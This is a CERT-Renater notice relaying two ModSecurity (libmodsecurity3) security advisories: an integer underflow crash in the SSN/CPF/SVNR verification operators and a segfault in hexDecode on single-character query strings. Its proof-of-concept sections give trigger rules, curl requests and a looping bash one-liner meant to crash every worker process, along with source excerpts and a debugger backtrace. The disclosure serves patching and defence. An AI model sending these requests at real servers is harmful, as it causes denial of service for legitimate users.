Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN441
_____________________________________________________________________

DATE                : 29/04/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running libmodsecurity3.

=====================================================================
https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-vwr3-7x7g-7p9w
https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-qrjc-3jpc-3h2g
_____________________________________________________________________

Unsigned integer underflow in @verifySSN / @verifyCPF / @verifySVNR
operators

High
airween published GHSA-vwr3-7x7g-7p9w Apr 28, 2026

Package
libmodsecurity3

Affected versions
3.0.0 - 3.0.15

Patched versions
3.0.15


Description

Impact

There is an unhandled exception (std::out_of_range) caused by unsigned
integer underflow in libmodsecurity3 if the user (administrator)
uses a rule any of @verifySSN, @verifyCPF or @verifySVNR.


Patches

Patch available from libmodsecurity3 3.0.15.


Workarounds

Don't use any mentioned operators.

PoC

Add this minimal configuration:

    SecRuleEngine On
    SecRule ARGS "@verifySSN ^\d{3}-?\d{2}-?\d{4}$" \
        "id:1,phase:2,pass,log"

Send a request:

curl "http://TARGET/path?x="

Root Cause

The input.size() returns size_t (unsigned 64-bit). When input is
empty, input.size() - 1 wraps to SIZE_MAX (18446744073709551615).
The loop executes, and on iteration i=1, input.substr(1, 0)
throws std::out_of_range. The exception is uncaught, reaching
std::terminate() and killing the process.

File: src/operators/verify_ssn.cc, lines 113-139:

    bool VerifySSN::evaluate(Transaction *t, RuleWithActions *rule,
        const std::string& input, RuleMessage &ruleMessage) {
        std::list<SMatch> matches;
        bool is_ssn = false;
        int i;

        if (m_param.empty()) {
            return false;
        }

        for (i = 0; i < input.size() - 1 && is_ssn == false; i++) {
            matches = m_re->searchAll(input.substr(i, input.size()));
            // When input.size() == 0:
            //   input.size() - 1 wraps to SIZE_MAX
            //   0 < SIZE_MAX is true, loop body executes
            //   i=1: input.substr(1, 0) throws std::out_of_range

Identical pattern in verify_cpf.cc:121 and verify_svnr.cc:90.


Severity
High
8.2/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID
CVE-2026-42268

Weaknesses
Weakness CWE-191
Weakness CWE-248

Credits

    @fumfel fumfel Reporter

_____________________________________________________________________

libModSecurity3: Segfault on query strings with a single character
when using `t:hexDecode`

High
airween published GHSA-qrjc-3jpc-3h2g Apr 28, 2026

Package
libModSecurity3

Affected versions
All versions

Patched versions
None

Description

Summary

Under specific configurations, a query string that contains a single
character is enough to cause a segfault, this can be abused in an
denial of service attack by a simple one liner bash script. This
issue occurs for all versions of libModSecurity3, ModSecurity2
(Apache) is not affected.

PoC

    Create a rule with the t:hexDecode transformation that inspects
query strings:

SecRule ARGS "@contains test" \
    "id:1,\
    phase:1,\
    deny,\
    t:none,t:hexDecode,\
    log"

    Send this request and check for a segfault

curl "localhost/?test=a"

Adding an extra charcter is enough to avoid a segfault:

curl "localhost/?test=aa"

Impact

Using a simple one liner is enough to crash all worker processes,
leaving none available for legitimate users. Service will resume
as soon as the attack stops as the worker processes will be able
to recover from the segfault.

while true; do (curl "localhost/?test=a") done

Additional information

Backtrace:

#0  modsecurity::utils::string::xsingle2c (what=0x7ffcadac3000 <error: Cannot access memory at address 0x7ffcadac3000>)
    at ../src/utils/string.h:216
        digit = <optimized out>
        digit = <optimized out>
#1  modsecurity::utils::string::x2c (what=0x7ffcadac3000 <error: Cannot access memory at address 0x7ffcadac3000>)
    at ../src/utils/string.h:225
        digit = <optimized out>
#2  modsecurity::actions::transformations::inplace (value="p") at actions/transformations/hex_decode.cc:32
        i = 17008
        len = <optimized out>
        d = 0x7ffcadac0ec8 "ʡ\"U\265t"
        data = 0x7ffcadabed90 "p\320\320\320\320\320\320\320&\226xТ]\375\320\320\320\320\320P\320\320Й\226x\320~\215\375\320\320\320\320\320\353\226\030\320ߖ\030Й\226x\320\320\320\320\320\320\320\320Ч\226x\320'\226x\320T\244\030Ц\315\375М\324\030\320\353\226\030М\324\030Л\324\030К\324\030в\315\375\320'\226x\320\033\324\030б\366\030\320/\226\030Й\226xЧ\226x\320\332\304\030\320\353\226\030\320(\226x\320)\226\030\320(\226x\320'\226x\320'\226x\320\320\320\320\320\336\335\320\320\320\320\320\320\320\320\320\320'\3172\240@\320\320\320\v\226\030\320\353\226\030и\226\030и\226\030\320\332\304\030\320\356\326\030\320\r\355\375", <incomplete sequence \320>...
        len = <optimized out>
        d = <optimized out>
        data = <optimized out>
        i = <optimized out>
#3  modsecurity::actions::transformations::HexDecode::transform (this=<optimized out>, value="p", trans=<optimized out>)
    at actions/transformations/hex_decode.cc:43
No locals.
#4  0x000074b554f3f821 in modsecurity::RuleWithActions::executeTransformation (this=this@entry=0x5fb64b1b0a40, a=...,
    value="p", trans=trans@entry=0x5fb64d284240,
    ret=std::__cxx11::list<error reading variable: Cannot access memory at address 0xa032cf27d0d0d030>, path="",
    nth=@0x7ffcadabed4c: 0) at rule_with_actions.cc:335
--Type <RET> for more, q to quit, c to continue without paging--c
No locals.
#5  0x000074b554f3dcc8 in modsecurity::RuleWithActions::executeTransformations (this=0x5fb64b1b0a40, trans=0x5fb64d284240,
    in=..., ret=std::__cxx11::list<error reading variable: Cannot access memory at address 0xa032cf27d0d0d030>)
    at rule_with_actions.cc:393
        a = 0x5fb64b1c44f0
        __for_range = std::vector of length 2, capacity 2 = {0x5fb64b1c4460, 0x5fb64b1c44f0}
        __for_begin = <optimized out>
        __for_end = <optimized out>
        none = 0
        transformations = 0
        path = ""
        value = "p"
#6  0xd0fd7d5ad078969a in ?? ()
No symbol table info available.
#7  0x0a32cf27d0d0d060 in ?? ()
No symbol table info available.
#8  0xd0d0d0d0d0d0d0d0 in ?? ()
No symbol table info available.
#9  0xd0fd8dd4d078962c in ?? ()
#1020 0x000074b55522a1ca in __libc_start_call_main (
    main=<error reading variable: Cannot access memory at address 0xd078962ad0d0cff8>,
    argc=<error reading variable: Cannot access memory at address 0xd078962ad0d0cff4>,
    argv=<error reading variable: Cannot access memory at address 0xd078962ad0d0cfe8>)
    at ../sysdeps/nptl/libc_start_call_main.h:58
        self = <optimized out>
        result = <optimized out>
        unwind_buf = <error reading variable unwind_buf (Cannot access memory at address 0xd078962ad0d0d000)>
        not_first_call = <optimized out>
Backtrace stopped: Cannot access memory at address 0xd078962ad0d0d078

Note: I stripped out some lines since they were just repeating themselves


Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2026-30923

Weaknesses
Weakness CWE-125
Weakness CWE-190

Credits

    @EsadCetiner EsadCetiner Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================